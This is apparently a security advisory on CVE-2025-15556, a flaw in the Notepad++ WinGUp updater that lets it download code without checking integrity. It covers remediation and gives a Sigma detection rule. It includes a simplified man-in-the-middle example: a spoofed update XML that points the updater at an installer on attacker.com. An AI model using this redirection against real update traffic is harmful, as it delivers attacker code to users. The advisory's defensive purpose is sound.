Background
Notepad++ is one of the most widely used free source code editors for Windows, with hundreds of millions of downloads. Its update mechanism, WinGUp (Windows GUI Updater), automatically checks for and downloads new versions. Like many software updaters, WinGUp fetches packages over the network and executes them — which makes the integrity of that download critical.
CVE-2025-15556 is classified as CWE-494 (Download of Code Without Integrity Check). WinGUp downloads update packages without adequately verifying their cryptographic integrity before execution. An attacker who can intercept or redirect the update traffic can substitute a malicious installer, which then runs with the current user’s privileges.
CISA added this to the KEV catalog on 2026-02-12. Updater vulnerabilities are useful attack vectors because updater processes are trusted to execute — most security tools won’t block a legitimate-looking updater, keeping the technique quiet.
Technical Mechanism
CWE-494 (Download of Code Without Integrity Check) means that downloaded executable content is not verified against a cryptographic signature or hash before being executed. An attacker performing a man-in-the-middle (MITM) attack — whether via ARP poisoning on a local network, DNS poisoning, or a malicious WiFi hotspot — can substitute the legitimate Notepad++ installer with a malicious one.
# Conceptual MITM attack against WinGUp (simplified)
# Attacker on same network intercepts HTTP update traffic
# Victim WinGUp sends:
# GET http://notepad-plus-plus.org/update/gup.xml HTTP/1.1
# Attacker responds with:
update_xml = """
<GUP>
<Version>9.9.9</Version>
<Location>http://attacker.com/malicious_installer.exe</Location>
<!-- No signature check means attacker controls what's downloaded -->
</GUP>
"""
# WinGUp downloads and executes the malicious installerIf WinGUp uses HTTP (unencrypted) or fails to validate the TLS certificate and package signature, any intermediary can substitute the download with a malicious binary that executes silently under the guise of a Notepad++ update.
Real-World Exploitation Evidence
CISA’s KEV listing confirms active exploitation. Updater-based code execution is a reliable, low-detection technique. In corporate environments with proxy interception, or where users connect from untrusted networks (hotels, conferences), MITM attacks against software updaters are practical. Attackers who can compromise DNS or poison local caches can redirect update checks at scale. The resulting code execution runs without UAC prompts if the installer doesn’t require elevation.
Impact Assessment
- Arbitrary code execution with the current user’s privileges
- Silent delivery via trusted updater process (low detection probability)
- No UAC prompt if installer doesn’t require elevation
- Effective in network-interception scenarios (MITM, DNS poisoning)
- Affects all Notepad++ users who use the auto-update feature
Affected Versions
| Product | Affected | Fixed |
|---|---|---|
| Notepad++ with WinGUp | Versions prior to fix implementing integrity verification | Update to patched Notepad++ release |
Remediation Steps
- Update Notepad++ to the version that implements proper update integrity checking.
- If possible, disable automatic updates and manage Notepad++ updates through enterprise software distribution channels.
- Deploy application whitelisting policies to verify installer signatures before execution.
- Use HTTPS with certificate pinning for update traffic (apply vendor fix).
- Ensure corporate network infrastructure prevents HTTP downgrade attacks.
Detection Guidance
Log Sources: Windows Event Logs, Sysmon (file creation, process creation), network proxy logs.
IOCs: WinGUp process downloading from unexpected hosts; unsigned executables spawned from Notepad++ update process; network requests for Notepad++ updates redirected to non-official servers.
Sigma rule:
title: Notepad++ WinGUp Suspicious Download CVE-2025-15556
logsource:
product: windows
category: network_connection
detection:
selection:
Image|endswith:
- '\WinGUp.exe'
- '\GUP.exe'
Initiated: 'true'
filter:
DestinationHostname|endswith:
- '.notepad-plus-plus.org'
- '.github.com'
condition: selection and not filter
level: highTimeline
| Date | Event |
|---|---|
| 2025 | CVE-2025-15556 disclosed |
| 2026-02-12 | CISA adds to KEV catalog; active exploitation confirmed |